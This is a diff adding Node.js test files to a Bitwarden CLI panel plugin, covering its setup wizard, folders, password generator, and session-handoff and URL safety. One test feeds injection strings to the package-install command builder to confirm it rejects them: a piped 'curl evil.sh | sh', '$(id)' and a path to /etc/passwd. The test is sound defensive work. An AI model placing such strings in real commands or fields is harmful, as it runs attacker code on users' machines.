+ +check("first run: still setup while the install runs", + step(FRESH, false) === "setup", + "a re-probe with bw still absent moved off setup") + +check("first run: the install landing sends it to the vault unprompted", + step(INSTALLED, false) === "probe", + "bw appearing did not trigger the status probe") + +check("first run: settled, so a routine re-probe asks bw nothing", + step(INSTALLED, false) === "idle", + "a routine dependency check re-probed the vault") + +// --- an already-set-up machine ---------------------------------------------- +probeStarted = false +wasGated = false +check("normal launch: the first probe goes straight to the vault", + step(INSTALLED, false) === "probe", + "a machine with everything installed did not probe on launch") + +check("normal launch: later probes stay quiet", + step(INSTALLED, false) === "idle", + "a settled machine kept re-probing") + +// --- carrying on without the CLI -------------------------------------------- +// "Continue anyway" is the panel's own escape hatch. Having taken it, the user +// must not be dragged back to setup, and the panel must not spend a `bw` +// round trip on every dependency check it happens to run. +probeStarted = true +wasGated = false +check("dismissed: a missing tool no longer forces setup", + step(FRESH, true) === "idle", + "setup reappeared after being dismissed") + +check("dismissed: still no repeated vault probes while the tool is missing", + step(FRESH, true) === "idle", + "a dismissed gate probed the vault on every dependency check") + +check("dismissed: an install landing later is still picked up", + step(INSTALLED, true) === "probe", + "installing after dismissing setup never reached the vault") + +// --- what the install button asks for --------------------------------------- +const fresh = Model.missingPackages(FRESH) +check("install: asks for the tools it can install, and only those", + fresh.join(" ") === "bitwarden-cli jq", + `got [${fresh}]`) + +check("install: never asks for a package Omarchy already ships", + Model.DEPENDENCIES.every(d => OMARCHY_BASE.indexOf(d.pkg) === -1), + `wizard lists [${Model.DEPENDENCIES.map(d => d.pkg).filter(p => OMARCHY_BASE.indexOf(p) !== -1)}]`) + +check("install: the one thing an Omarchy machine can genuinely lack is still required", + Model.DEPENDENCIES.some(d => d.pkg === "bitwarden-cli" && d.required), + `wizard lists [${Model.DEPENDENCIES.map(d => d.pkg)}]`) + +check("install: asks for nothing when nothing is missing", + Model.missingPackages(INSTALLED).length === 0, + `got [${Model.missingPackages(INSTALLED)}]`) + +check("install: a package shared by two tools is only asked for once", + new Set(fresh).size === fresh.length, + `got [${fresh}]`) + +// Omarchy already owns "install these packages where the user can watch it": +// a floating, centred, themed terminal with the logo, the pacman output and a +// keypress to close. Rolling our own terminal invocation would have to pick a +// terminal, invent the wait-for-keypress, and still look like nothing else on +// the system. +const cmd = Model.installPackagesCommand(fresh, "Bitwarden CLI") +check("install: goes through Omarchy's floating-terminal installer", + cmd.slice(0, 3).join(" ") === "omarchy install app", + cmd.join(" ")) + +check("install: names what is being installed, and asks for exactly the packages", + cmd[3] === "Bitwarden CLI" && cmd[4] === fresh.join(" "), + cmd.join(" ")) + +check("install: no shell of our own to quote for", + cmd.every(a => typeof a === "string") && cmd.indexOf("-c") === -1, + cmd.join(" ")) + +// omarchy-install-app expands the package list unquoted -- that is how it +// takes more than one package -- so the guard has to be on this side. +check("install: refuses anything that is not a plain package name", + Model.installPackagesCommand(["bitwarden-cli; curl evil.sh | sh"]) === null + && Model.installPackagesCommand(["$(id)"]) === null + && Model.installPackagesCommand(["../../etc/passwd"]) === null, + "a crafted package name produced a command") + +// --- fingerprint belongs to Omarchy ----------------------------------------- +// `omarchy setup security fingerprint` detects the reader, installs +// libfprint/fprintd/usbutils, enrols a finger, verifies it, and only then +// writes /etc/pam.d/omarchy-lock-fingerprint -- which is the file this +// plugin's own readiness check looks for. A bare `pkg add fprintd` produces +// none of that, so the row must never take that door. +check("fingerprint: the row is a setup row, not a package row", + Model.DEPENDENCIES.find(d => d.key === "fprintd").setup === true, + "fprintd is still presented as an ordinary package install") + +check("fingerprint: never reaches the package installer", + Model.missingPackages(Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")).length === 0, + "fprintd was handed to omarchy install app") + +const fp = Model.fingerprintSetupCommand() +check("fingerprint: runs Omarchy's own setup in the floating terminal", + fp.join(" ") === "omarchy launch floating terminal with presentation omarchy setup security fingerprint", + fp.join(" ")) + +// --- hardware the machine does not have ------------------------------------- +const NO_READER = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=0\nomarchy=1") +const WITH_READER = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1") + +check("reader: a desktop with no reader is not shown a fingerprint row", + Model.applicableDependencies(NO_READER).every(d => d.key !== "fprintd"), + `rows: [${Model.applicableDependencies(NO_READER).map(d => d.key)}]`) + +check("reader: a laptop with one is", + Model.applicableDependencies(WITH_READER).some(d => d.key === "fprintd"), + `rows: [${Model.applicableDependencies(WITH_READER).map(d => d.key)}]`) + +check("reader: the row is still in items either way, for the settings screen", + NO_READER.items.some(d => d.key === "fprintd"), + "dropping the row from items would break settingBlocked()") + +check("reader: no reader never gates the panel", + Model.setupGateActive(NO_READER, true, false) === false, + "a machine with no fingerprint reader was held on setup") + +// Detection comes from Omarchy's own sysfs scan, which answers before fprintd +// or usbutils are installed -- which is precisely when the wizard has to +// decide whether to draw the row. +check("reader: detection uses omarchy-hw-fingerprint, in the same one probe", + Model.dependencyCheckCommand()[2].includes("omarchy-hw-fingerprint") + && Model.dependencyCheckCommand().length === 3, + Model.dependencyCheckCommand()[2]) + +check("install: nothing to install produces no command at all", + Model.installPackagesCommand(Model.missingPackages(INSTALLED)) === null, + "an empty package list still produced a command") + +// The setup screen's copy is the first thing a new user reads, and it is the +// only place the plugin explains that it does not bundle these tools. A +// requirement described as fatal reads as "you installed this too early". +const bw = Model.DEPENDENCIES.find(d => d.key === "bw") +check("copy: the required tools are presented as installable, not as a wall", + bw.required === true && !/nothing works/i.test(bw.purpose), + bw.purpose) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.log("\n" + failures.map(f => ` FAIL ${f}`).join("\n")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/folders.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/folders.test.js new file mode 100644 index 0000000..f837bbb --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/folders.test.js @@ -0,0 +1,129 @@ +#!/usr/bin/env node +// Tests for folder parsing, filtering and payload assignment. +// +// node tests/folders.test.js + +const fs = require("fs") +const path = require("path") +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseFolders = parseFolders + exports.folderName = folderName + exports.filterItems = filterItems + exports.parseItems = parseItems + exports.parseItemDetail = parseItemDetail + exports.buildCreatePayload = buildCreatePayload + exports.buildEditPayload = buildEditPayload + exports.listFoldersCommand = listFoldersCommand + exports.createFolderCommand = createFolderCommand + exports.folderPayload = folderPayload + exports.folderEnvVar = folderEnvVar +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --- parsing --- +const folders = Model.parseFolders(JSON.stringify([ + { id: "b", name: "Work", object: "folder" }, + { id: null, name: "No Folder", object: "folder" }, + { id: "a", name: "apps", object: "folder" }, +])) +check("folders are sorted case-insensitively", + folders.map(f => f.name).join(",") === "apps,Work", folders.map(f => f.name).join(",")) +check("bw's null-id 'No Folder' entry is dropped (the panel has its own control)", + folders.length === 2 && folders.every(f => f.id), JSON.stringify(folders)) +check("malformed folder JSON yields an empty list", + Model.parseFolders("{{").length === 0 && Model.parseFolders("").length === 0, "expected []") +check("folderName resolves a known id", Model.folderName(folders, "b") === "Work", Model.folderName(folders, "b")) +check("folderName is empty for an unknown or absent id", + Model.folderName(folders, "zzz") === "" && Model.folderName(folders, null) === "", "expected empty") + +// --- items carry folderId --- +const items = Model.parseItems(JSON.stringify([ + { id: "1", name: "In folder", type: 1, folderId: "a", login: {} }, + { id: "2", name: "Unfiled", type: 1, folderId: null, login: {} }, + { id: "3", name: "Other folder", type: 1, folderId: "b", login: {} }, +])) +check("parseItems exposes folderId", + items.find(i => i.id === "1").folderId === "a" && items.find(i => i.id === "2").folderId === null, + JSON.stringify(items.map(i => [i.id, i.folderId]))) +check("parseItemDetail exposes folderId", + Model.parseItemDetail(JSON.stringify({ id: "1", name: "x", type: 1, folderId: "a", login: {} })).folderId === "a", + "expected 'a'") + +// --- filtering --- +const ids = f => Model.filterItems(items, "", "all", "all", f).map(i => i.id).sort().join(",") +check('folder "all" returns everything', ids("all") === "1,2,3", ids("all")) +check('folder "none" returns only unfiled items', ids("none") === "2", ids("none")) +check("a folder id returns only that folder", ids("a") === "1", ids("a")) +// Existing callers pass four arguments; folders must not break them. +check("omitting the folder argument behaves as 'all'", + Model.filterItems(items, "", "all", "all").map(i => i.id).sort().join(",") === "1,2,3", + "regression: existing four-arg calls changed behaviour") +check("folder filter composes with search", + Model.filterItems(items, "unfiled", "all", "all", "none").map(i => i.id).join(",") === "2", + "expected only item 2") + +// --- payloads --- +check("create assigns the chosen folder", + Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, "a").folderId === "a", "expected 'a'") +for (const v of ["", null, "all", "none", undefined]) { + check(`create maps ${JSON.stringify(v)} to no folder`, + Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId === null, + JSON.stringify(Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId)) +} +// Editing must be able to clear an assignment, not only set one. +const existing = { rawObject: { id: "1", name: "x", type: 1, folderId: "a", login: {} } } +check("edit can move an item to another folder", + Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "b").folderId === "b", "expected 'b'") +check("edit can clear an existing folder assignment", + Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "").folderId === null, "expected null") + +// --- commands --- +// The session goes in BW_SESSION, never argv -- /proc//cmdline is +// world-readable and the token unlocks the vault. +check("list folders carries no session on the command line and caps output", + Model.listFoldersCommand().join(" ").includes("bw list folders") + && Model.listFoldersCommand().join(" ").includes("head -c") + && !Model.listFoldersCommand().join(" ").includes("--session"), + Model.listFoldersCommand().join(" ")) +const folderName = "it's \"private\"" +check("folder names are serialized for the private environment payload", + JSON.parse(Model.folderPayload(folderName)).name === folderName, + Model.folderPayload(folderName)) +check("folder names never enter the command line", + Model.createFolderCommand().join(" ").includes('"$' + Model.folderEnvVar() + '"') + && !Model.createFolderCommand().join(" ").includes(folderName), + Model.createFolderCommand().join(" ")) +check("the folder writer receives its payload through the private environment binding", + /function folderEnv\(\)[\s\S]{0,180}Model\.folderEnvVar\(\)[\s\S]{0,180}Model\.folderPayload\(newFolderName\)/.test(panelSrc) + && /id:\s*createFolderProc[\s\S]{0,100}environment:\s*root\.folderEnv\(\)/.test(panelSrc), + "createFolderProc is not bound to folderEnv()") + +// --- the collapsed filter buttons --- +// Each button names its own keyboard shortcut in its tooltip, and the key that +// actually opens the drawer lives in runShortcut(). Two places, so they can +// disagree -- and a tooltip promising a key that does nothing is worse than no +// tooltip. Pin them to each other. +const filterButtons = [...panelSrc.matchAll( + /VaultFilterButton\s*\{[\s\S]*?group:\s*"([a-z]+)"[\s\S]*?shortcut:\s*"([a-z])"/g)] + .map(m => ({ group: m[1], shortcut: m[2] })) +check("all three vault filter buttons are declared", + filterButtons.length === 3, JSON.stringify(filterButtons)) +for (const { group, shortcut } of filterButtons) { + const dispatch = new RegExp(`case "${shortcut}":\\s*toggleFilterGroup\\("${group}"\\)`) + check(`the "${shortcut}" in the ${group} filter tooltip is the key that opens it`, + dispatch.test(panelSrc), `no runShortcut case pairing "${shortcut}" with "${group}"`) +} +// The label is the vault value alone now, so the group name survives only in +// the tooltip -- which is the one place still telling you what you are looking at. +check("each filter button still names its group somewhere the user can reach", + /tooltipText: Model\.plainLabel\(name \+ " filter \(" \+ shortcut \+ "\): " \+ value\)/.test(panelSrc), + "the filter tooltip no longer carries the group name and value") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/generator.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/generator.test.js new file mode 100644 index 0000000..94b1027 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/generator.test.js @@ -0,0 +1,252 @@ +#!/usr/bin/env node +// Tests for the generator's option handling. Generation itself is `bw generate`; +// what is worth testing is that we never hand it a combination it rejects. +// +// node tests/generator.test.js + +const fs = require("fs") +const path = require("path") +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const bodyOf = (name) => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.generateCommand = generateCommand + exports.generateServeUrl = generateServeUrl + exports.generateServeRequestCommand = generateServeRequestCommand + exports.parseServeGenerated = parseServeGenerated + exports.generateServeCommand = generateServeCommand + exports.normalizeGeneratorOptions = normalizeGeneratorOptions + exports.generatorDefaults = generatorDefaults + exports.generatorStrength = generatorStrength + exports.generatorPortIsForeign = generatorPortIsForeign + exports.generatorServeExitAction = generatorServeExitAction +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) +const args = o => Model.generateCommand(o).join(" ") + +// `bw generate` errors if every character set is off; fall back rather than fail. +const none = Model.normalizeGeneratorOptions({ uppercase: false, lowercase: false, numbers: false, special: false }) +check("all character sets off falls back to lowercase", + none.lowercase === true, JSON.stringify(none)) + +// Requiring more special/numeric characters than the length allows is impossible. +const tight = Model.normalizeGeneratorOptions({ length: 5, numbers: true, minNumber: 9, special: true, minSpecial: 9 }) +check("length grows to fit the required character minimums", + tight.length >= tight.minNumber + tight.minSpecial, JSON.stringify(tight)) + +// Minimums for a disabled set would be rejected by bw. +const noNums = Model.normalizeGeneratorOptions({ numbers: false, minNumber: 5, special: false, minSpecial: 5 }) +check("minimums are zeroed for disabled character sets", + noNums.minNumber === 0 && noNums.minSpecial === 0, JSON.stringify(noNums)) +check("disabled sets emit no minimum flags", + !args({ numbers: false, special: false }).includes("--minNumber") + && !args({ numbers: false, special: false }).includes("--minSpecial"), + args({ numbers: false, special: false })) + +// Clamping to the documented CLI limits. +for (const [k, v, lo, hi] of [["length", 1, 5, 128], ["length", 999, 5, 128], + ["words", 1, 3, 20], ["words", 99, 3, 20], + ["minNumber", -3, 0, 9], ["minSpecial", 99, 0, 9]]) { + const got = Model.normalizeGeneratorOptions({ [k]: v, numbers: true, special: true })[k] + check(`${k}=${v} clamps into [${lo}, ${hi}]`, got >= lo && got <= hi, `got ${got}`) +} + +// Passphrase mode must not leak password-only flags, and vice versa. +const pp = args({ type: "passphrase", words: 5, capitalize: true, includeNumber: true }) +check("passphrase passes --passphrase and word options", + pp.includes("--passphrase") && pp.includes("--words 5") && pp.includes("--capitalize") && pp.includes("--includeNumber"), pp) +check("passphrase omits password-only flags", + !pp.includes("--length") && !pp.includes("--minNumber") && !pp.includes("--uppercase"), pp) +const pw = args({ type: "password" }) +check("password omits passphrase-only flags", + !pw.includes("--passphrase") && !pw.includes("--words") && !pw.includes("--capitalize"), pw) + +check("an empty separator falls back rather than producing a bare flag", + Model.normalizeGeneratorOptions({ separator: "" }).separator === "-", + Model.normalizeGeneratorOptions({ separator: "" }).separator) + +// Strength must move in the right direction, or the meter misleads. +const s = o => Model.generatorStrength(o).bits +check("longer passwords score higher", s({ length: 32 }) > s({ length: 8 }), `${s({length:32})} vs ${s({length:8})}`) +check("more character sets score higher", + s({ length: 16, special: true }) > s({ length: 16, special: false }), + `${s({length:16,special:true})} vs ${s({length:16,special:false})}`) +check("more words score higher", s({ type: "passphrase", words: 8 }) > s({ type: "passphrase", words: 3 }), + `${s({type:"passphrase",words:8})} vs ${s({type:"passphrase",words:3})}`) +check("strength fraction stays within 0..1", + [{}, { length: 128, special: true }, { length: 5 }].every(o => { + const f = Model.generatorStrength(o).fraction; return f >= 0 && f <= 1 }), "out of range") + +check("defaults are a fresh object each call", + Model.generatorDefaults() !== Model.generatorDefaults(), "same reference returned") + + +// --- the same options over `bw serve` --------------------------------------- +// `bw generate` spends ~2.9s on CLI bootstrap and service init before it +// generates anything; the serve API answers the same request in ~2ms. These +// URLs were verified against a live locked `bw serve`. + +const url = (o) => Model.generateServeUrl(o) + +check("the server is addressed on loopback only", + url({}).startsWith("http://127.0.0.1:"), url({})) +check("a password request carries the character sets and length", + url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true }) + .includes("length=20") && url({ length: 20, special: true }).includes("special=true"), + url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true })) +check("a disabled set is omitted rather than sent false", + !url({ special: false, numbers: false }).includes("special=") + && !url({ special: false, numbers: false }).includes("number="), + url({ special: false, numbers: false })) +check("minimums ride along only when their set is on", + url({ numbers: true, minNumber: 3 }).includes("minNumber=3") + && !url({ numbers: false, minNumber: 3 }).includes("minNumber"), + url({ numbers: true, minNumber: 3 })) +check("a passphrase request switches shape entirely", + url({ type: "passphrase", words: 5 }).includes("passphrase=true") + && url({ type: "passphrase", words: 5 }).includes("words=5") + && !url({ type: "passphrase", words: 5 }).includes("length="), + url({ type: "passphrase", words: 5 })) +check("a separator that means something in a URL is encoded", + url({ type: "passphrase", separator: "&" }).includes("separator=%26"), + url({ type: "passphrase", separator: "&" })) +check("the serve options are clamped the same way the CLI ones are", + url({ length: 9999 }).includes("length=128") && url({ length: 1 }).includes("length=5"), + url({ length: 9999 }) + " / " + url({ length: 1 })) + +// The server is started without a session on purpose: a loopback port has no +// authentication, so it must never hold an unlocked vault. +check("the serve command binds loopback and names no session", + JSON.stringify(Model.generateServeCommand()) === + JSON.stringify(["bw", "serve", "--hostname", "127.0.0.1", "--port", "8087"]), + JSON.stringify(Model.generateServeCommand())) + +const serveReq = Model.generateServeRequestCommand({ length: 20, special: true }) +check("the serve request command targets the generated url with timeout and stream cap", + serveReq[2].includes("curl -q -s -S") && serveReq[2].includes("http://127.0.0.1:8087/generate") + && serveReq[2].includes("--max-time 2") && serveReq[2].includes("head -c 65536"), + serveReq[2]) +check("loopback generator requests ignore proxy variables and curl config", + serveReq[2].includes("curl -q ") && serveReq[2].includes("--noproxy '*'"), serveReq[2]) + +check("a successful response yields the value", + Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}') === "abc123", + Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}')) +check("a failed response yields nothing, so the caller falls back", + Model.parseServeGenerated('{"success":false,"message":"locked"}') === "", "expected empty") +check("garbage yields nothing rather than throwing", + Model.parseServeGenerated("not json") === "", "expected empty") +check("an empty body yields nothing", Model.parseServeGenerated("") === "", "expected empty") + + +// --- the loopback server is not trusted just because it answers -------------- +// +// `bw serve` has no authentication and a loopback port is reachable by every +// account on the machine, so an HTTP 200 is not evidence that the process which +// sent it is ours. The only answer that leaves the port free for our own server +// is a refused connection. + +check("a refused connection is the one answer that frees the port", + Model.generatorPortIsForeign(0) === false, "status 0 was treated as occupied") +for (const status of [200, 404, 500, 401, 302]) { + check(`an HTTP ${status} means someone else is already bound`, + Model.generatorPortIsForeign(status) === true, `status ${status} was trusted`) +} +check("a status arriving as a string is still not mistaken for silence", + Model.generatorPortIsForeign("200") === true, "string status was trusted") + +// --- what our own server exiting means --------------------------------------- + +const stopped = Model.generatorServeExitAction({ stopping: true, wasReady: true, busy: false, + onGeneratorScreen: false }) +check("a shutdown we asked for is not a bind failure", + stopped.giveUp === false && stopped.dropValue === false && stopped.useCli === false, + JSON.stringify(stopped)) + +// Our bind failing is what a squatted port looks like from here, so a value the +// ready-poll already accepted cannot be left on screen to be copied. +const stranded = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false, + onGeneratorScreen: true }) +check("a value delivered before our server died is dropped, not left to be copied", + stranded.dropValue === true && stranded.giveUp === true && stranded.useCli === true, + JSON.stringify(stranded)) + +const neverBound = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: true, + onGeneratorScreen: true }) +check("a server that never bound gives up the port and falls back to the CLI", + neverBound.giveUp === true && neverBound.dropValue === false && neverBound.useCli === true, + JSON.stringify(neverBound)) + +const offScreen = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false, + onGeneratorScreen: false }) +check("nothing is regenerated for a screen the user has already left", + offScreen.useCli === false && offScreen.dropValue === true, JSON.stringify(offScreen)) + +const idle = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: false, + onGeneratorScreen: true }) +check("an idle failure gives up the port without generating anything", + idle.giveUp === true && idle.useCli === false, JSON.stringify(idle)) + +// A process already answering an older option set must not have its callback +// relabelled as the newest request. Queue one regeneration and discard the old +// result; the follow-up reads the latest root.genOpts. +const regenerate = bodyOf("regenerate") +const generated = bodyOf("onGenerated") +check("rapid option changes queue behind the active generator operation", + /if\s*\(genBusy\)[\s\S]*genRegeneratePending\s*=\s*true/.test(regenerate), regenerate) +check("a queued regeneration discards the old value before rerunning", + /genRegeneratePending[\s\S]*regenerate\(\)/.test(generated) + && generated.indexOf("genRegeneratePending") < generated.indexOf("genValue = v"), + generated) +check("a value from the previous option set cannot be copied while regeneration is busy", + /if\s*\(genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("copyGenerated")) + && /if\s*\(!generatorFeedsForm\s*\|\|\s*genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("useGeneratedPassword")) + && /enabled:\s*!root\.genBusy\s*&&\s*root\.genValue\s*!==\s*""/.test(panelSrc), + bodyOf("copyGenerated") + "\n" + bodyOf("useGeneratedPassword")) + +const stopGenerator = bodyOf("stopGeneratorServe") +check("canceling an in-flight generator request cannot leave generation wedged busy", + /genBusy\s*=\s*false/.test(stopGenerator) + && /genRegeneratePending\s*=\s*false/.test(stopGenerator) + && /genRequestSignature\s*=\s*""/.test(stopGenerator), + stopGenerator) +check("leaving during CLI fallback cancels the late result instead of restarting off-screen", + /cancelCliGeneration\s*=\s*genBusy\s*&&\s*generateProc\.running/.test(stopGenerator) + && /generateCliStopping\s*=\s*true[\s\S]*generateProc\.running\s*=\s*false/.test(stopGenerator), + stopGenerator) +const generateProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateProc"), + panelSrc.indexOf("id: generateServeProc")) +check("a canceled CLI result is discarded and a quick reopen restarts only after exit", + /if\s*\(generateCliStopping\)[\s\S]*genRegeneratePending\s*=\s*true[\s\S]*return/.test(regenerate) + && /generateCliStopping[\s\S]*currentScreen\s*===\s*"generator"[\s\S]*Qt\.callLater\(root\.regenerate\)[\s\S]*return/.test(generateProcBlock), + regenerate + "\n" + generateProcBlock) +const serveRequest = bodyOf("generatorRequest") +const resumeServeRequest = bodyOf("resumePendingGeneratorRequest") +const serveRequestProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateServeRequestProc"), + panelSrc.indexOf("id: generateServePoll")) +check("a quick reopen cannot attach a new callback to the request being canceled", + /generateServeRequestStopping\s*\|\|\s*generateServeRequestProc\.running/.test(serveRequest) + && /generateServeRequestPendingCallback\s*=\s*done/.test(serveRequest) + && /generateServeRequestStopping\s*=\s*true[\s\S]*generateServeRequestProc\.running\s*=\s*false/.test(stopGenerator) + && /resumePendingGeneratorRequest\(\)[\s\S]*return/.test(serveRequestProcBlock), + serveRequest + "\n" + stopGenerator + "\n" + serveRequestProcBlock) +check("a deferred generator request restarts only if the generator is still open", + /root\.opened\s*&&\s*root\.currentScreen\s*===\s*"generator"[\s\S]*generatorRequest\(pendingOptions,\s*pendingCallback\)/.test( + resumeServeRequest), + resumeServeRequest) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/handoff-urls.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/handoff-urls.test.js new file mode 100644 index 0000000..ce79cde --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/handoff-urls.test.js @@ -0,0 +1,152 @@ +#!/usr/bin/env node +// Two places where data the panel did not write reaches the system: the +// session-handoff file path, and a vault item's URI on its way to xdg-open. +// +// node tests/handoff-urls.test.js + +const fs = require("fs") +const path = require("path") +const { execFileSync } = require("child_process") +const os = require("os") +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.terminalLoginCommand = terminalLoginCommand + exports.sessionHandoffReadCommand = sessionHandoffReadCommand + exports.normalizeOpenableUrl = normalizeOpenableUrl +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --- the session handoff file never falls back to a shared directory -------- +// The key is written by a terminal and read by the panel. A world-writable +// fallback would let another user pre-create the directory and collect it. + +const login = Model.terminalLoginCommand("login")[2] +const unlock = Model.terminalLoginCommand("unlock")[2] +const read = Model.sessionHandoffReadCommand(true)[2] + +for (const [label, script] of [["terminal login", login], ["terminal unlock", unlock], ["handoff read", read]]) { + check(`${label} never falls back to /tmp`, !script.includes("/tmp"), script) + check(`${label} puts the key under XDG_RUNTIME_DIR`, script.includes("XDG_RUNTIME_DIR"), script) +} + +check("the write side refuses to run without a runtime dir, rather than defaulting", + /XDG_RUNTIME_DIR:\?/.test(login), login) +check("mkdir and chmod are both checked, so a directory that is not ours aborts", + login.includes('mkdir -p "$d" || exit 1') && login.includes('chmod 700 "$d" || exit 1'), login) +check("the write side refuses a symlinked handoff directory", + login.includes('[ ! -L "$d" ]'), login) +check("umask is set before the directory is created, not after", + login.indexOf("umask 077") < login.indexOf("mkdir"), login) +check("the read side exits quietly instead, since it runs on every refresh", + read.includes('[ -n "$d" ] || exit 0') && !/XDG_RUNTIME_DIR:\?/.test(read), read) +check("the read side never follows a symlinked directory or handoff file", + read.includes('[ ! -L "$d" ]') && read.includes('[ ! -L "$f" ]'), read) + +// Actually run the two scripts to prove the behaviour, with `bw` stubbed. +const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-")) +const bin = path.join(tmp, "bin") +fs.mkdirSync(bin) +fs.writeFileSync(path.join(bin, "bw"), "#!/usr/bin/env bash\necho STUBSESSIONKEY\n", { mode: 0o755 }) + +const runInner = (script, env) => { + try { + // stderr is swallowed: the no-runtime-dir case is *meant* to complain there. + return { out: execFileSync("bash", ["-c", script], { env, encoding: "utf8", stdio: ["ignore", "pipe", "ignore"] }).trim(), code: 0 } + } catch (e) { + return { out: String(e.stdout || "").trim(), code: e.status } + } +} + +const noRuntime = { PATH: bin + ":" + process.env.PATH, HOME: tmp } +const withRuntime = { ...noRuntime, XDG_RUNTIME_DIR: tmp } + +// The inner script is what the terminal runs; pull it out of the quoted wrapper. +const innerLogin = login.match(/omarchy launch terminal -e bash -c '(.*)' \|\| alacritty/)[1].replace(/'\\''/g, "'") + +const denied = runInner(innerLogin, noRuntime) +check("with no runtime dir the login script exits non-zero and writes no key", + denied.code !== 0 && !fs.existsSync(path.join(tmp, "qs-bitwarden-cli", "session-handoff")), + `exit ${denied.code}`) + +const readNoRuntime = runInner(read, noRuntime) +check("with no runtime dir the read is silent and successful", + readNoRuntime.code === 0 && readNoRuntime.out === "", JSON.stringify(readNoRuntime)) + +// A pre-existing symlink must not redirect either side to a persistent or +// less-protected directory. XDG_RUNTIME_DIR is private, but refusing the +// redirect also makes a stale/misconfigured runtime fail closed. +const handoffDir = path.join(tmp, "qs-bitwarden-cli") +const redirectedDir = path.join(tmp, "redirected") +fs.mkdirSync(redirectedDir) +fs.symlinkSync(redirectedDir, handoffDir) +const symlinkWrite = runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime) +check("a symlinked handoff directory makes terminal login fail closed", + symlinkWrite.code !== 0 && !fs.existsSync(path.join(redirectedDir, "session-handoff")), + `exit ${symlinkWrite.code}`) +fs.writeFileSync(path.join(redirectedDir, "session-handoff"), "REDIRECTED") +const symlinkRead = runInner(read, withRuntime) +check("the panel does not read through a symlinked handoff directory", + symlinkRead.out === "", JSON.stringify(symlinkRead)) +fs.unlinkSync(handoffDir) + +// With a runtime dir, the round trip works and the directory is private. +fs.mkdirSync(path.join(tmp, "qs-bitwarden-cli"), { recursive: true, mode: 0o755 }) +runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime) +check("the handoff directory ends up private to the user", + (fs.statSync(handoffDir).mode & 0o777) === 0o700, + "0" + (fs.statSync(handoffDir).mode & 0o777).toString(8)) + +const roundTrip = runInner(read, withRuntime) +check("the panel reads the key back", roundTrip.out === "STUBSESSIONKEY", JSON.stringify(roundTrip)) +const secondRead = runInner(read, withRuntime) +check("and the key is consumed, so a second read gets nothing", + secondRead.out === "", JSON.stringify(secondRead)) + +fs.rmSync(tmp, { recursive: true, force: true }) + +// --- only web links are handed to xdg-open ---------------------------------- +// A vault item's URI is data, and an org-shared item can be written by others. + +const opens = (u) => Model.normalizeOpenableUrl(u) + +for (const [input, expected] of [ + ["https://example.com", "https://example.com"], + ["http://example.com/login", "http://example.com/login"], + ["HTTPS://Example.COM", "HTTPS://Example.COM"], + ["example.com", 